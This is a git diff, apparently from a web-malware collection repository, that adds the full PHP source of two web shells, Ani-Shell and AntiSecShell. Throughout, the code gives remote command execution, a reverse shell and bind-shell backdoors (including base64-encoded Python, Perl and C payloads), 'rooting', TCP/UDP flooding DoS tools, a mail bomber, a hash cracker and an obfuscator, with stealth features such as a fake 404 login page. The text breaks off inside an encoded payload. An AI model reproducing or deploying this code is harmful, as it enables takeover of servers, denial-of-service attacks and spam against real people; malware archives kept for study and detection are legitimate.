? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + +// Group +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + +// World +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + +return $info; + +} + +// Dir size + +/** + * Get the directory size + * @param directory $directory + * @return integer + */ +function dirSize($directory) { + $size = 0; + foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){ + try { + $size += $file->getSize(); + } + catch (Exception $e){ // Symlinks and other shits + $size += 0; + } + } + return $size; +} + +/***********************************************************/ +// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is +// Turned OFF! +/**********************************************************/ + + +function exec_all($command) +{ + + $output = ''; + if(function_exists('exec')) + { + exec($command,$output); + $output = join("\n",$output); + } + + else if(function_exists('shell_exec')) + { + $output = shell_exec($command); + } + + else if(function_exists('popen')) + { + $handle = popen($command , "r"); // Open the command pipe for reading + if(is_resource($handle)) + { + if(function_exists('fread') && function_exists('feof')) + { + while(!feof($handle)) + { + $output .= fread($handle, 512); + } + } + else if(function_exists('fgets') && function_exists('feof')) + { + while(!feof($handle)) + { + $output .= fgets($handle,512); + } + } + } + pclose($handle); + } + + + else if(function_exists('system')) + { + ob_start(); //start output buffering + system($command); + $output = ob_get_contents(); // Get the ouput + ob_end_clean(); // Stop output buffering + } + + else if(function_exists('passthru')) + { + ob_start(); //start output buffering + passthru($command); + $output = ob_get_contents(); // Get the ouput + ob_end_clean(); // Stop output buffering + } + + else if(function_exists('proc_open')) + { + $descriptorspec = array( + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + ); + $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes' + if(is_resource($handle)) + { + if(function_exists('fread') && function_exists('feof')) + { + while(!feof($pipes[1])) + { + $output .= fread($pipes[1], 512); + } + } + else if(function_exists('fgets') && function_exists('feof')) + { + while(!feof($pipes[1])) + { + $output .= fgets($pipes[1],512); + } + } + } + pclose($handle); + } + + return(htmlspecialchars($output)); + +} + +function magicQuote($text) +{ + if (!get_magic_quotes_gpc()) + { + return $text; + } + return stripslashes($text); +} + +function md5Crack($hash , $list) +{ + $fd = fopen($list,"r"); + if( strlen($hash) != 32 || $fd == FALSE) + { + // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging + return "

        Hash or List invalid!

        "; + } + else + { + while (! feof( $fd )) + { + if( ($pwdList = fgets( $fd, 1024 )) == FALSE) + { + break; + } + $pwdList = trim($pwdList); + + if(md5($pwdList) == $hash ) + { + return "\n

        Hash Cracked



        \n

        Planintext : $pwdList

        "; + } + } + + } +} + +function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass) +{ + $link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass); + if(!$link) + { + return 'Could not connect: ' . mysql_error(); + } + $resource = mysql_query($query); + if(!$resource) return(mysql_error()); +} + +//------------------------------------------------------------------------------------------------ + + +?> + + + + + + + + +
        + + +
        +
        +Your IP : | Server IP :
        + Safe Mode :
        + +
        +
        +
        + Server ADMIN: | + PHP VERSION : | + Curl : Enabled"):("Disabled"); ?> | + Oracle : Enabled"):("Disabled"); ?> | + MySQL : Enabled"):("Disabled");?> | + MSSQL : Enabled"):("Disabled"); ?> | + PostgreSQL : Enabled"):("Disabled"); ?> | + Disable functions : | + Space : | + Free : +
        + + + +
        + +

        +
        + + + + + +
        + You are ".trim(exec_all("whoami"))."

        "; + else + echo "

        You are ".trim(exec_all("whoami"))."

        "; + } + else + { + echo "

        Rooting Failed

        "; + } + } + } + else + { + echo "

        Permission Denied

        "; + } + ?> + + +
        +

        + +
        + + File uploaded to $uploadPath

        "; + } + else + { + echo "

        Failed to upload file to $uploadPath

        "; + } + } + } + else + { + ?> + + + + + + + +
        Upload (From ur Computer)
        + + + + + + + + + + + + + + +
        + +
        +
        + + Overwritten Files :- +
          + +
        • ">
        • + Permission Denied

          "; break; + fwrite($fd,$message); + } + } + ?> +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + Directory + + +
        + Mode + + +
        + File Type + + +
        + +
        + +
        + + + + + + + + + + + + + + + + + + +
        + Hash + + +
        + Password List (File Path) + + +
        + +
        + + +
        +
        +
        + +
        +
        + +

        Note : Any one of the following options is compulsory to be filled rest can be left blank.

        + + + + + + + + + + + + + + + + + + + + + + + + +
        + intitle + + +
        + intext + + +
        + inurl + + +
        + site + + +
        + +
        + The Program is now trying to connect!

        "; + $ip = $_POST['ip']; + $port=$_POST['port']; + $sockfd=fsockopen($ip , $port , $errno, $errstr ); + if($errno != 0) + { + echo "$errno : $errstr"; + } + else if (!$sockfd) + { + $result = "

        Fatal : An unexpected error was occured when trying to connect!

        "; + } + else + { + fputs ($sockfd ,"\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n================================================================="); + $pwd = exec_all("pwd"); + $sysinfo = exec_all("uname -a"); + $id = exec_all("id"); + $dateAndTime = exec_all("time /t & date /T"); + $len = 1337; + fputs($sockfd ,$sysinfo . "\n" ); + fputs($sockfd ,$pwd . "\n" ); + fputs($sockfd ,$id ."\n\n" ); + fputs($sockfd ,$dateAndTime."\n\n" ); + while(!feof($sockfd)) + { + $cmdPrompt ="(Ani-Shell)[$]> "; + fputs ($sockfd , $cmdPrompt ); + $command= fgets($sockfd, $len); + fputs($sockfd , "\n" . exec_all($command) . "\n\n"); + } + fclose($sockfd); + } + } + else if( + isset($_POST['port']) && + isset($_POST['passwd']) && + $_POST['port'] != "" && + $_POST['passwd'] != "" && + isset($_POST['mode'])) + { + $address = '127.0.0.1'; + $port = $_POST['port']; + $pass = $_POST['passwd']; + + if($_POST['mode'] == "Python") + { + $Python_CODE = "IyBTZXJ2ZXIgIA0KIA0KaW1wb3J0IHN5cyAgDQppbXBvcnQgc29ja2V0ICANCmltcG9ydCBvcyAgDQoNCmhvc3QgPSAnJzsgIA0KU0laRSA9IDUxMjsgIA0KDQp0cnkgOiAgDQogICAgIHBvcnQgPSBzeXMuYXJndlsxXTsgIA0KDQpleGNlcHQgOiAgDQogICAgIHBvcnQgPSAzMTMzNzsgIA0KIA0KdHJ5IDogIA0KICAgICBzb2NrZmQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgIA0KDQpleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCg0KICAgICBwcmludCAiRXJyb3IgaW4gY3JlYXRpbmcgc29ja2V0IDogIixlIDsgIA0KICAgICBzeXMuZXhpdCgxKTsgICANCg0Kc29ja2ZkLnNldHNvY2tvcHQoc29ja2V0LlNPTF9TT0NLRVQgLCBzb2NrZXQuU09fUkVVU0VBRERSICwgMSk7ICANCg0KdHJ5IDogIA0KICAgICBzb2NrZmQuYmluZCgoaG9zdCxwb3J0KSk7ICANCg0KZXhjZXB0IHNvY2tldC5lcnJvciAsIGUgOiAgICAgICAgDQogICAgIHByaW50ICJFcnJvciBpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgDQogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyAgDQogICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCg=="; + + $fd = fopen("bind.py","w"); + + if($fd != FALSE) + { + fwrite($fd,base64_decode($Python_CODE)); + + if($os == "Linux") + { + echo "[+] OS Detected = Windows"; + exec_all("chmod +x bind.py ; ./bind.py"); + + // CHeck if the process is running + + $pattern = "bind.py"; + + $list = exec_all("ps -aux"); + } + else + { + echo "[+] OS Detected = Windows"; + exec_all("start bind.py"); + // CHeck if the process is running + + $pattern = "python.exe"; + + $list = exec_all("TASKLIST"); + } + + + if(preg_match("/$pattern/",$list)) + { + echo "

        Process Found Running! Backdoor Setuped Successfully! :D

        "; + } + else + { + echo "

        Process Not Found Running! Backdoor Setup FAILED :(

        "; + } + + echo "

        \nTask List :-
        \n$list
        "; + + } + } + } + else if($_POST['mode'] == "PHP") + { + + // Set time limit to indefinite execution + set_time_limit (0); + + + // Set the ip and port we will listen on + + + if(function_exists("socket_create")) + { + // Create a TCP Stream socket + $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + + + // Bind the socket to an address/port + + + if(socket_bind($sockfd, $address, $port) == FALSE) + { + echo "Cant Bind to the specified port and address!"; + } + // Start listening for connections + socket_listen($sockfd,15); + + + $passwordPrompt = "\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================\n\n0xPassword : "; + + /* Accept incoming requests and handle them as child processes */ + $client = socket_accept($sockfd); + + + socket_write($client , $passwordPrompt); + // Read the pass from the client + $input = socket_read($client, strlen($pass) + 2); // +2 for \r\n + if(trim($input) == $pass) + { + socket_write($client , "\n\n"); + socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "\n" . exec_all("ver") : exec_all("date") . "\n" . exec_all("uname -a")); + socket_write($client , "\n\n"); + while(1) + { + // Print Command prompt + $commandPrompt ="(Ani-Shell)[$]> "; + $maxCmdLen = 31337; + socket_write($client,$commandPrompt); + $cmd = socket_read($client,$maxCmdLen); + if($cmd == FALSE) + { + echo "The client Closed the conection!"; + break; + } + socket_write($client , exec_all($cmd)); + } + } + else + { + echo "Wrong Password!"; + socket_write($client, "sU(|< - 0FF Bitch!\n\n"); + } + socket_shutdown($client, 2); + socket_close($socket); + + // Close the client (child) socket + //socket_close($client); + // Close the master sockets + //socket_close($sock); + } + else + { + echo "Socket Conections not Allowed/Supported by the server!
        "; + } + } + else + { + ?> + + + + + + + + + + + + + +
        Back ConnectBind Shell
        + + + + + + + + + + + + + +
        IP + +
        Port
        Mode +   
        +
        + + + + + + + + + + + + + +
        Port + +
        Passwd +
        + Mode + +   
        +
        +

        Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!

        +

        $data

        "; + + print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message
        "; + for($i=0;$i<$times;$i++) + { + $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); + if($socket) + { + fwrite($socket , $data , $length ); + fclose($socket); + } + } + echo ""; + echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."
        "; + echo "Total Number of Packets Sent : " . $times . "
        "; + echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "
        "; + echo "Data per packet = " . HumanReadableFilesize($length) . "
        "; + } + else + { + ?> +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + IP + + +
        + Port + + +
        + Timeout + + +
        + No of times + + +
        + Message (The message Should be long and it will be multiplied with the value after it) + + + + x + + +
        + +
        +
        + "; + + while(1) + { + $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout); + if($socket) + { + fwrite($socket , $data); + fclose($socket); + $packets++; + } + if(time() >= $maxTime) + { + break; + } + } + echo ""; + echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."
        "; + echo "Total Number of Packets Sent : " . $packets . "
        "; + echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "
        "; + echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "
        "; + } + else + { + + ?> +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + IP + + +
        + Port + + +
        + Timeout (Time in seconds) + + +
        + Execution Time (Time in seconds) + + +
        + No of Bytes per/packet + + +
        + +
        +
        + Some Error Occured!

        "; + break; + } + } + if($error != 1) + { + echo "

        Mail(s) Sent!

        "; + } + } + else + { + ?> +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + To + + +
        + Subject + + +
        + No. of Times + + +
        + + Pad your message (Less spam detection) + + + + + +
        + +
        + +
        +
        + Mail Sent!

        "; + } + else + { + echo "

        Some Error Occured!

        "; + } + } + else + { + ?> +
        + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + From + + +
        + To + + +
        + Subject + + +
        + +
        + +
        +
        + Permission Denied

        "; + else { + fwrite($handle,$_POST['content']); + echo "Your changes were Successfully Saved!"; + } + } + else + { + echo "

        File Name Specified does not exists!

        "; + } +} + +// PHP Obfuscator + +else if(isset($_GET['obfuscate'])) +{ + if ( isset($_POST['code']) && + $_POST['code'] != '') + { + $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P + $encode = ' + +'; + } + else + { + $encode = 'Please Enter your Code! and Click Submit! :)'; + }?> +
        +
        + +
        + + +
        +
        + + + + + + + +
        File :
        Size :
        +
        + +
        + + + + + +
        + + + + + + + +
        File :
        To :
        + +
        + "; + $dir = getcwd(); + if(isset($_GET['dir'])) + { + $dir = $_GET['dir']; + } + ?> + + + + + + + +
        PWD
        + + + + + + + + + + + Could Not Delete the FILE Specified

        "; + } + } + + else if(isset($_GET['delete_dir'])) + { + if(rmdir(($_GET['delete'])) == FALSE) + { + echo "

        Could Not Delete the DIRECTORY Specified

        "; + } + } + + if(is_dir($dir)) + { + $handle = opendir($dir); + if($handle != FALSE) + { + if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;} + while (($file = readdir($handle)) != false) { + if ($file != "." && $file != "..") + { + + $color = 'red'; + if(is_readable($dir.$file)) + { + $color = 'yellow'; + } + if(is_writable($dir.$file)) + { + $color = 'green'; + } + + if(is_dir($dir.$file)) + { + ?> + + + + + + + + + + + + + + + + + + Permission Denied

        "; + } + ?> +
        NameSizePermissionsDeleteRenameZip
        /DeleteRenameDownload (zip)
        DeleteRenameDownload (zip)
        + + + +
        + + + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/AntiSecShell.v0.5.txt b/web-malware-collection-master/Backdoors/PHP/AntiSecShell.v0.5.txt new file mode 100755 index 0000000..1664fd4 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/AntiSecShell.v0.5.txt @@ -0,0 +1,3185 @@ + +'.getenv("HTTP_HOST").' - '.$sh_name.' + + + +'; +//4uth3n71c4710n +$login = ""; +$md5_pass = ""; +// pu7 y0ur t0r'3d 1p h3r3 0r jus7 l34v3 17 l1k3 7h47 +$ht_yes = array("*"); +$login_txt = "404 - Not Found"; +$accessdeniedmess = "".$sh_name.": access denied"; +$gzipencode = TRUE; +$updatenow = FALSE; +$filestealth = TRUE; +$curdir = "./"; +$tmpdir = ""; +$tmpdir_log = "./"; +$sort_default = "0a"; +$sort_save = TRUE; +$sess_cookie = "assv4rs"; +$usefsbuff = TRUE; +$copy_unset = FALSE; +$hexdump_lines = 8; +$hexdump_rows = 24; +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) { + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} +//func710n5, cr3d17s g0 70 0r1g1n4l 4u7h0r5 +function get_phpini() { + function U_wordwrap($str) { + $str = @wordwrap(@htmlspecialchars($str), 100, '', true); + return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); + } + function U_value($value) { + if ($value == '') return 'no value'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } + if (@function_exists('ini_get_all')) { + $r = ""; + echo ""; + foreach (@ini_get_all() as $key=>$value) { + $r .= ""; + } + echo $r; + echo "
        DirectiveL0c4l V4lu3Gl0b4l V4lu3
        ".$key."
        ".U_value($value['local_value'])."
        ".U_value($value['global_value'])."
        "; + } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) { + $letters .= " ["; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= "] "; + } + } + if (!empty($letters)) {Return $letters;} + else {Return "None";} +} +if (is_callable("disk_free_space")) { + function disp_freespace($curdrv) { + $free = disk_free_space($curdrv); + $total = disk_total_space($curdrv); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; + } +} + +if (!function_exists("s3x3c")) { + if(is_callable("popen")) { + function s3x3c($cmd) { + if (!($po=popen("($cmd)2>&1","r"))) { return "popen D1s4bl3d!"; } + while (!feof($po)) { + $line=fgets($po,1024); + $out .= $line; + } + pclose($po); + return $out; + } + } else { + function s3x3c($cmd) { + global $disablefunc; + $result = ""; + if (!empty($cmd)) { + if (is_callable("exec") and !in_array("exec",$disablefunc)) { + exec($cmd,$result); + $result = join("\n",$result); + } elseif (($result = $cmd) !== FALSE) { + } elseif (is_callable("system") and !in_array("system",$disablefunc)) { + $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; + } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) { + $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; + } elseif (is_resource($fp = popen($cmd,"r"))) { + $result = ""; + while(!feof($fp)) { $result .= fread($fp,1024); } + pclose($fp); + } + } + return $result; + } + } +} +function ex($cf3) { + $res = ''; + if (!empty($cf3)) { + if(function_exists('exec')) { + @exec($cf3,$res); + $res = join("\n",$res); + } elseif(function_exists('shell_exec')) { + $res = @shell_exec($cf3); + } elseif(function_exists('system')) { + @ob_start(); + @system($cf3); + $res = @ob_get_contents(); + @ob_end_clean(); + } elseif(function_exists('passthru')) { + @ob_start(); + @passthru($cf3); + $res = @ob_get_contents(); + @ob_end_clean(); + } elseif(@is_resource($f = @popen($cf3,"r"))) { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } else { $res = "Ex() D1s4bl3d!"; } + } + return $res; +} +function which($por) { + $poath = ex("which $por"); + if(!empty($poath)) { return $poath; } else { return $por; } +} + + +$hostname_x = php_uname(n); +$itshome = getcwd(); + +if (!$win) { + $itshome = str_replace("/home/","~",$itshome); + $itshome = str_replace("/public_html","/4n71s3c.php",$itshome); +} +else { $itshome = ""; } +$enumerate = "http://".$hostname_x."/".$itshome.""; + + +$Lversion = php_uname(r); +$OSV = php_uname(s); +if(eregi("Linux",$OSV)) { + $Lversion=substr($Lversion,0,6); + $millink="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel ".$Lversion; +} else { + $Lversion=substr($Lversion,0,3); + $millink ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$OSV." ".$Lversion; +} + + +$bc_p3rl = "IyEvdXNyL2Jpbi9wZXJsDQojN2g0bms1IEFudGlwZWFjZQ0KdXNlIFNvY2tldDsNCm15ICgkaWFkZHIsJHBvcnQsJGNtZCk9QEFSR1Y7DQpteSAkcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsIGluZXRfYXRvbigkaWFkZHIpKTsNCm15ICRwcm90byA9IGdldHByb3RvYnluYW1lKCJ0Y3AiKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcik7DQpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsNCm9wZW4oU1RESU4sIj4mU09DS0VUIik7DQpwcmludCBTT0NLRVQgIjczczcxbmcgc2gzbGxcbiI7DQpwcmludCBleGVjKCRjbWQpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTs="; +$bc_c = "ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUEySVVFQ0RRQUFBQk1EQUFBQUFBQUFEUUFJQUFIQUNnQUhBQVpBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlMQWtBQUN3SkFBQUZBQUFBQUJBQUFBRUFBQUFzQ1FBQUxKa0VDQ3laQkFnNEFRQUFQQUVBQUFZQUFBQUFFQUFBQWdBQUFFQUpBQUJBbVFRSVFKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQlFBQUFCRUFBQUFVQUFBQUFBQUFBQUFBQUFBUkFBQUFFZ0FBQUFjQUFBQUtBQUFBQ3dBQUFBZ0FBQUFQQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQmdBQUFBQUFBQUFCQUFBQUFBQUFBQWtBQUFBQUFBQUFEQUFBQUFBQUFBQUFBQUFBRFFBQUFBNEFBQUFDQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQUFBQUFCd0JBQUFTQUFBQXJBQUFBQUFBQUFCeEFBQUFFZ0FBQUR3QUFBQUFBQUFBQ3dJQUFCSUFBQUJJQUFBQUFBQUFBSDBBQUFBU0FBQUFqQUFBQUFBQUFBQ3NBUUFBRWdBQUFLVUFBQUFBQUFBQXJ3QUFBQklBQUFCakFBQUFBQUFBQUNjQUFBQVNBQUFBa3dBQUFBQUFBQURkQUFBQUVnQUFBRU1BQUFBQUFBQUFPZ0FBQUJJQUFBQmNBQUFBQUFBQUFLb0JBQUFTQUFBQVZnQUFBQUFBQUFBMkFBQUFFZ0FBQUhNQUFBQUFBQUFBMlFBQUFCSUFBQUI0QUFBQUFBQUFBQ2dBQUFBU0FBQUFiUUFBQUFBQUFBQU9BQUFBRWdBQUFDNEFBQUFBQUFBQWVBQUFBQklBQUFCOUFBQUE4SWdFQ0FRQUFBQVJBQTRBVHdBQUFBQUFBQUE1QUFBQUVnQUFBQUVBQUFBQUFBQUFBQUFBQUNBQUFBQVZBQUFBQUFBQUFBQUFBQUFnQUFBQUFGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QWJHbGlZeTV6Ynk0MkFHTnZibTVsWTNRQVpYaGxZMndBY0dWeWNtOXlBR1IxY0RJQWMzbHpkR1Z0QUhOdlkydGxkQUJpZW1WeWJ3QnpkSEpqWVhRQWFXNWxkRjloWkdSeUFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJrWVdWdGIyNEFYMTlzYVdKalgzTjBZWEowWDIxaGFXNEFjM1J5YkdWdUFHTnNiM05sQUVkTVNVSkRYekl1TUFBQUFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUNRQUFBQVFBQUFBQUFBQUFCQnBhUTBBQUFJQXNnQUFBQUFBQUFBSW1nUUlCaE1BQUJpYUJBZ0hBUUFBSEpvRUNBY0NBQUFnbWdRSUJ3TUFBQ1NhQkFnSEJBQUFLSm9FQ0FjRkFBQXNtZ1FJQndZQUFEQ2FCQWdIQndBQU5Kb0VDQWNJQUFBNG1nUUlCd2tBQUR5YUJBZ0hDZ0FBUUpvRUNBY0xBQUJFbWdRSUJ3d0FBRWlhQkFnSERRQUFUSm9FQ0FjT0FBQlFtZ1FJQnc4QUFGU2FCQWdIRVFBQVZZbmxnK3dJNkVFQkFBRG9sQUVBQU9qbkF3QUF5Y01BL3pVUW1nUUkveVVVbWdRSUFBQUFBUDhsR0pvRUNHZ0FBQUFBNmVELy8vLy9KUnlhQkFob0NBQUFBT25RLy8vLy95VWdtZ1FJYUJBQUFBRHB3UC8vLy84bEpKb0VDR2dZQUFBQTZiRC8vLy8vSlNpYUJBaG9JQUFBQU9tZy8vLy8veVVzbWdRSWFDZ0FBQURwa1AvLy8vOGxNSm9FQ0dnd0FBQUE2WUQvLy8vL0pUU2FCQWhvT0FBQUFPbHcvLy8vL3lVNG1nUUlhRUFBQUFEcFlQLy8vLzhsUEpvRUNHaElBQUFBNlZELy8vLy9KVUNhQkFob1VBQUFBT2xBLy8vLy95VkVtZ1FJYUZnQUFBRHBNUC8vLy84bFNKb0VDR2hnQUFBQTZTRC8vLy8vSlV5YUJBaG9hQUFBQU9rUS8vLy8veVZRbWdRSWFIQUFBQURwQVAvLy8vOGxWSm9FQ0doNEFBQUE2ZkQrLy84eDdWNko0WVBrOEZCVVVtaG9pQVFJYUJTSUJBaFJWbWlBaGdRSTZFLy8vLy8wa0pCVmllVlQ2QUFBQUFCYmdjTUhGQUFBVW91RC9QLy8vNFhBZEFMLzBGaGJ5Y09Ra0pCVmllV0Q3QWlBUFdTYUJBZ0FkQS9ySDQxM